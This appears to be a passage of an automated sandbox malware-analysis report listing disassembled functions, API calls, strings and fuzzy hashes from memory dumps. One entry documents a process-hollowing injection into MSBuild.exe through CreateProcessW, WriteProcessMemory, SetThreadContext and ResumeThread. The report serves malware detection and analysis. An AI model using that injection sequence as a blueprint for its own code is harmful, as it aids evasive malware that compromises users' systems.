Opcode Fuzzy Hash: 87ddd31ae5fda347235228c36177d9caa1af38e3f2d78a0fbcc62b30e0d1f058
Instruction Fuzzy Hash: F431F27761579086CB209F25E8506EA7760F3C9BE4F184226EEAA47794DB34C982E740

Function 00C2A034 Relevance: 5.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C2A070
free.MSVCRT ref: 00C2A078
free.MSVCRT ref: 00C2A0E2
memmove.MSVCRT ref: 00C2A118

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 67c0837a8ac08b8e7b81d59f219567057fac08a4c31a6893a672a0fe60d58eed
Instruction ID: 29469bd43a5df8ac7cf6aee254630ad748010dc4442ce02e2fb6afa15a42e71d
Opcode Fuzzy Hash: 67c0837a8ac08b8e7b81d59f219567057fac08a4c31a6893a672a0fe60d58eed
Instruction Fuzzy Hash: 83210133201BA08ADB15AF26FC5532E6354BB45BA4F1C8125AF2A0B780DF788D86D312

Function 00C04B58 Relevance: 5.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C04BA5
free.MSVCRT ref: 00C04BAD
memmove.MSVCRT ref: 00C04BEA
free.MSVCRT ref: 00C04BF2

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$memmove
String ID:
API String ID: 1534225298-0
Opcode ID: 7b8be88fbbd6b5478f1b8fe33e7292913211728ee70c3487ba27a43df7afdd97
Instruction ID: b7711d60c00e9ff38683f61e6c5d40c228a5a13aec8957e97772218543587a94
Opcode Fuzzy Hash: 7b8be88fbbd6b5478f1b8fe33e7292913211728ee70c3487ba27a43df7afdd97
Instruction Fuzzy Hash: 5F21AEB7612A9486DB15EF2AD41462EB361E784FE8B088225DF690B3D8DF38CC42C750

Function 00C17780 Relevance: 5.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00C1779B
LeaveCriticalSection.KERNEL32 ref: 00C177A7
EnterCriticalSection.KERNEL32 ref: 00C1783C
LeaveCriticalSection.KERNEL32 ref: 00C17848

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 905f98d841eae4ab66d526709c79df53eb5328ecb6ed6fba7ada2edbd53a37aa
Instruction ID: 4281d9d04d00c6c411ef496618f7f8cf62860d5397acf1d774fa5d5d67f0a857
Opcode Fuzzy Hash: 905f98d841eae4ab66d526709c79df53eb5328ecb6ed6fba7ada2edbd53a37aa
Instruction Fuzzy Hash: 9C214536304B8097EB249F2AE8942983370F789B98F185226DF4E47B50DF38D8A5C700

Function 00C2E7A0 Relevance: 5.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

Part of subcall function 00C02130: malloc.MSVCRT ref: 00C02134
Part of subcall function 00C02130: _CxxThrowException.MSVCRT ref: 00C0214F

free.MSVCRT ref: 00C2E81E
free.MSVCRT ref: 00C2E828
free.MSVCRT ref: 00C2E832
free.MSVCRT ref: 00C2E83C

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$ExceptionThrowmalloc
String ID:
API String ID: 2043655614-0
Opcode ID: 85820a4b7cfbf62d825ef575ed64e4517ae2fd90292bd41fdaee0927cf1864a6
Instruction ID: c555ba0300f6397a08e48784b3569fdfe06e41c3408648d0ecab7c934e7e3758
Opcode Fuzzy Hash: 85820a4b7cfbf62d825ef575ed64e4517ae2fd90292bd41fdaee0927cf1864a6
Instruction Fuzzy Hash: A4116072615B9081CB60DF2AE84121D73A5F7C5BE0F209226EBAD07BE8DF38C855C780

Function 00C475A4 Relevance: 5.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 00C475CF
memcmp.MSVCRT ref: 00C475EA
memcmp.MSVCRT ref: 00C47600

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 26e0d05632ee771259b6d8779e1bb14a2af1a10e0c5519a103b38d64912a3de7
Instruction ID: 09cc395922aaee2369566b4341ec49bd9b84045af21a6c3853c83fce125a64a9
Opcode Fuzzy Hash: 26e0d05632ee771259b6d8779e1bb14a2af1a10e0c5519a103b38d64912a3de7
Instruction Fuzzy Hash: 7601F5B2349B4145FB049F2B9D513E82266BB09FC5FC68530DE058B706EF38DA96D304

Function 00C2C8E8 Relevance: 5.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 00C2C913
memcmp.MSVCRT ref: 00C2C92E
memcmp.MSVCRT ref: 00C2C944

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: ebbf41f14a031a46e4a55ff2dc776043666cb55a5837aa6e1a48b56d902b4385
Instruction ID: bc74cf24bd842b4139adab4e8bbed495ffa8c83255330500e97591570e6cb4f8
Opcode Fuzzy Hash: ebbf41f14a031a46e4a55ff2dc776043666cb55a5837aa6e1a48b56d902b4385
Instruction Fuzzy Hash: BE01D2B6344B1141EB04AF26FC913AC2225AB09FD5FC58021CE0987B02EB78DAD5D304

Function 00C13A0C Relevance: 5.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 00C13A37
memcmp.MSVCRT ref: 00C13A4D
memcmp.MSVCRT ref: 00C13A69
memcmp.MSVCRT ref: 00C13A85

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: fea3fd7b45b55f817435c8431d97fe1bf12a638175959c43ee92c8fc165712c7
Instruction ID: 0bdcb3ae4a1c0f7ed7d349cbb278f01b9ae73c46235248ef02e1d59045218b49
Opcode Fuzzy Hash: fea3fd7b45b55f817435c8431d97fe1bf12a638175959c43ee92c8fc165712c7
Instruction Fuzzy Hash: F101D2A2344B8191EB049B669C513E83225AF0AFC9FC59421CE4A47706EB38CBC6F304

Function 00C2CE98 Relevance: 5.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

memcmp.MSVCRT ref: 00C2CEC3
memcmp.MSVCRT ref: 00C2CED9
memcmp.MSVCRT ref: 00C2CEF5
memcmp.MSVCRT ref: 00C2CF11

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 3300147bea888004f54cd18b7a1711a170f8e79cb67e40ec15571cdf7fcd0c60
Instruction ID: 49f94c837b9f54116006f283aa8ac228215084314db571188a104f079fcf1a92
Opcode Fuzzy Hash: 3300147bea888004f54cd18b7a1711a170f8e79cb67e40ec15571cdf7fcd0c60
Instruction Fuzzy Hash: 2701D6B234475091EB04DF66AD913AC6322AB09FD5FC54421CE0987B06EF74DA85D304

Function 00C0538C Relevance: 5.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C053E6
free.MSVCRT ref: 00C053EE
free.MSVCRT ref: 00C053FA
free.MSVCRT ref: 00C05402

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: ea9aa8451205e714d2d2deee7ad544f8e48fe2026ff0a9e62e11d2d899170449
Instruction ID: fafa116b353ece7ace242f9128cec134846e24c56da07f7ecb510fbc3aff094a
Opcode Fuzzy Hash: ea9aa8451205e714d2d2deee7ad544f8e48fe2026ff0a9e62e11d2d899170449
Instruction Fuzzy Hash: C701B162310EA8C6DA21AE97E88462F6614EB41BE9B1D4216EF380B7D0DF70CD43C740

Function 00C21474 Relevance: 5.0, APIs: 4, Instructions: 35COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C214A6
free.MSVCRT ref: 00C214AF
free.MSVCRT ref: 00C214B8
free.MSVCRT ref: 00C214C0

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: efa2551094f8694e9312fa94f2ef5c0b0e1a7981b61eb5219889216caf8af953
Instruction ID: 401a9349b2739c8fc81b9725125df85347bfce5474a5b66479bcdd8084649910
Opcode Fuzzy Hash: efa2551094f8694e9312fa94f2ef5c0b0e1a7981b61eb5219889216caf8af953
Instruction Fuzzy Hash: 08F08263711AA4C9CA10FE27EC9516C2324AF56FA8B1C5272EF2D0B794EE20CC52C380

Function 00C47968 Relevance: 5.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C4799B
free.MSVCRT ref: 00C479A4
free.MSVCRT ref: 00C479AC
free.MSVCRT ref: 00C479B9

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: d981d276683500439fe255ece07c6d20aa2690fecfcea96cff91bf552de1cfa0
Instruction ID: 9271af5459f4c1e65c5be4775805a54385090d317a7336a24518e06266424303
Opcode Fuzzy Hash: d981d276683500439fe255ece07c6d20aa2690fecfcea96cff91bf552de1cfa0
Instruction Fuzzy Hash: 6FF08223B55A90DACA10AE27ED9516C6720BF56BE471C1672EF2D0BB85DF20CC62C390

Function 00C20BBC Relevance: 5.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C20BCC
free.MSVCRT ref: 00C20BD5
free.MSVCRT ref: 00C20C00
free.MSVCRT ref: 00C20C08

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: fffe1feea4d5eb521afbbdfec112adb7fa227329f3f82f7615eed68f37e3b42c
Instruction ID: 024af4c10bf4e076bb7197e0d5be066114076c46eb52289ca3ad2d0cd361a76e
Opcode Fuzzy Hash: fffe1feea4d5eb521afbbdfec112adb7fa227329f3f82f7615eed68f37e3b42c
Instruction Fuzzy Hash: 56F05473B019A4C9C611AE26EC5516C53219B95FD572D52639F2D0B795DE24CC42D340

Analysis Process: 47760e826c.exePID: 6816, Parent PID: 6264COMMON

Executed Functions

Function 002DE1A9 Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,002DE11B,002DE10B), ref: 002DE33F
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 002DE352
Wow64GetThreadContext.KERNEL32(0000019C,00000000), ref: 002DE370
ReadProcessMemory.KERNELBASE(0000015C,?,002DE15F,00000004,00000000), ref: 002DE394
VirtualAllocEx.KERNELBASE(0000015C,?,?,00003000,00000040), ref: 002DE3BF
WriteProcessMemory.KERNELBASE(0000015C,00000000,?,?,00000000,?), ref: 002DE417
WriteProcessMemory.KERNELBASE(0000015C,00400000,?,?,00000000,?,00000028), ref: 002DE462
WriteProcessMemory.KERNELBASE(0000015C,?,?,00000004,00000000), ref: 002DE4A0
Wow64SetThreadContext.KERNEL32(0000019C,009F0000), ref: 002DE4DC
ResumeThread.KERNELBASE(0000019C), ref: 002DE4EB

Strings

Load, xrefs: 002DE1E5
VirtualAlloc, xrefs: 002DE26E
ReadProcessMemory, xrefs: 002DE294
WriteProcessMemory, xrefs: 002DE2BA
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 002DE33E
TerminateProcess, xrefs: 002DE3CE
GetThreadContext, xrefs: 002DE281
aryA, xrefs: 002DE1ED
ress, xrefs: 002DE231
ResumeThread, xrefs: 002DE2E3
CreateProcessW, xrefs: 002DE25B
VirtualAllocEx, xrefs: 002DE2A7
GetP, xrefs: 002DE229
SetThreadContext, xrefs: 002DE2CD

Memory Dump Source

Source File: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: e2f20a2bcdb9eb909a5695a385f33805a8a5f797cbed4c7b4933c3576b93a064
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: 9DB1F87260064AAFDB60CF68CC80BDA73A5FF88714F158155EA08AB341D770FE51CB94

Function 002C17D0 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 293
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 002C1000: _strlen.LIBCMT ref: 002C108D

CreateFileA.KERNELBASE ref: 002C184C
GetFileSize.KERNEL32(00000000,00000000), ref: 002C185C
ReadFile.KERNELBASE(00000000,?,00000000,?,00000000), ref: 002C1885
CloseHandle.KERNELBASE(00000000), ref: 002C1895
_strlen.LIBCMT ref: 002C18F7
CloseHandle.KERNEL32(00000000), ref: 002C1B20
CloseHandle.KERNEL32(00000000), ref: 002C1B35

Strings

(, xrefs: 002C18D0

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: CloseFileHandle$_strlen$CreateReadSize
String ID: (
API String ID: 2150716653-3887548279
Opcode ID: fb70578deafe50a8209079cc1607a91b9714eca211969ac119b933b17146672e
Instruction ID: 8e8e13b261b358ba8aa1ba1eedaa357fd9a6281bf5855fd567c061032d849821
Opcode Fuzzy Hash: fb70578deafe50a8209079cc1607a91b9714eca211969ac119b933b17146672e
Instruction Fuzzy Hash: 13A12572D112158BCB10DFB8DC85BAEFBB6BF4A310F145329E805AB352E7309964CB94

Function 002C1D30 Relevance: 18.2, APIs: 12, Instructions: 176
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 002C1D63
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 002C1D76

Part of subcall function 002C234A: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 002C2E92
Part of subcall function 002C234A: ___raise_securityfailure.LIBCMT ref: 002C2F7A

GetCurrentThreadId.KERNEL32 ref: 002C1DFA

Part of subcall function 002C2E15: WaitForSingleObjectEx.KERNEL32(002C17D0,000000FF,00000000,?,?,?,002C1E17,?,002C17D0,00000000), ref: 002C2E21
Part of subcall function 002C2E15: GetExitCodeThread.KERNEL32(002C17D0,00000000,?,?,002C1E17,?,002C17D0,00000000), ref: 002C2E3A
Part of subcall function 002C2E15: CloseHandle.KERNEL32(002C17D0,?,?,002C1E17,?,002C17D0,00000000), ref: 002C2E4C

Part of subcall function 002C6F9F: CreateThread.KERNELBASE(00000000,00000000,Function_000070B7,00000000,00000000,00000000), ref: 002C6FE8
Part of subcall function 002C6F9F: GetLastError.KERNEL32(?,?,?,?,002C1DD3,00000000,00000000), ref: 002C6FF4
Part of subcall function 002C6F9F: __dosmaperr.LIBCMT ref: 002C6FFB

GetCurrentThreadId.KERNEL32 ref: 002C1E95
std::_Throw_Cpp_error.LIBCPMT ref: 002C1EED
std::_Throw_Cpp_error.LIBCPMT ref: 002C1EFF
std::_Throw_Cpp_error.LIBCPMT ref: 002C1F0E
std::_Throw_Cpp_error.LIBCPMT ref: 002C1F1D
std::_Throw_Cpp_error.LIBCPMT ref: 002C1F2C
std::_Throw_Cpp_error.LIBCPMT ref: 002C1F3E
std::_Throw_Cpp_error.LIBCPMT ref: 002C1F50
std::_Throw_Cpp_error.LIBCPMT ref: 002C1F62

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$Thread$CurrentHandleModule$CloseCodeCreateErrorExitFeatureFileLastNameObjectPresentProcessorSingleWait___raise_securityfailure__dosmaperr
String ID:
API String ID: 610485761-0
Opcode ID: dd8355c96438c880e379b84b16391f2d87b5485b5c60a74b8e26ed2f66cbcb9c
Instruction ID: e39838bdc186d4562db714da1184c58edd38e369c7df31a7b13336a13d6d8b82
Opcode Fuzzy Hash: dd8355c96438c880e379b84b16391f2d87b5485b5c60a74b8e26ed2f66cbcb9c
Instruction Fuzzy Hash: CF5183B1D513199BEB10EFA4DC06FDEBAB0AB05710F04135CE914772C1EBB56928CEA5

Function 002C9BBE Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,54DFDFAE,?,002C9CCD,?,?,00000000), ref: 002C9C7F

Strings

api-ms-, xrefs: 002C9C15
ext-ms-, xrefs: 002C9C29

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 3b65e8d0ccc04cc6f3bb9bbb766aa12d363df2657d0256f590282b2b3c6be86c
Instruction ID: 8632ba4a4f9bdfb0c91e0a609372ad46021b4b29677039cfd977a105c439722e
Opcode Fuzzy Hash: 3b65e8d0ccc04cc6f3bb9bbb766aa12d363df2657d0256f590282b2b3c6be86c
Instruction Fuzzy Hash: EE212E31E21116A7D7218F20EC4CF6A7799DF4A760F24036BE906A7290D670EE50C5D4

Function 002C13F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 149
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoResumeClassObjects.OLE32 ref: 002C150E
KiUserExceptionDispatcher.NTDLL(00000000,00000000,00000000), ref: 002C1521
GetLastError.KERNEL32 ref: 002C1583

Strings

Fju, xrefs: 002C1521

Memory Dump Source

Source File: 00000014.00000002.2301539723.00000000002C1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000014.00000002.2301329689.00000000002C0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301646940.00000000002D6000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301693485.00000000002DE000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301730736.00000000002DF000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301770825.00000000002E1000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2301818496.00000000002E3000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_2c0000_47760e826c.jbxd

Similarity

API ID: ClassDispatcherErrorExceptionLastObjectsResumeUser
String ID: Fju
API String ID: 3099690820-3761632922
Opcode ID: 0a8c156016639e7716306441787463ecc0c14274aa7ebb53bd70f3fce70b90d7
Instruction ID: 2b8650e4a8313450f8b229183976ed0b2aed2d4596e0076719ed5e8d9bffd83d
Opcode Fuzzy Hash: 0a8c156016639e7716306441787463ecc0c14274aa7ebb53bd70f3fce70b90d7
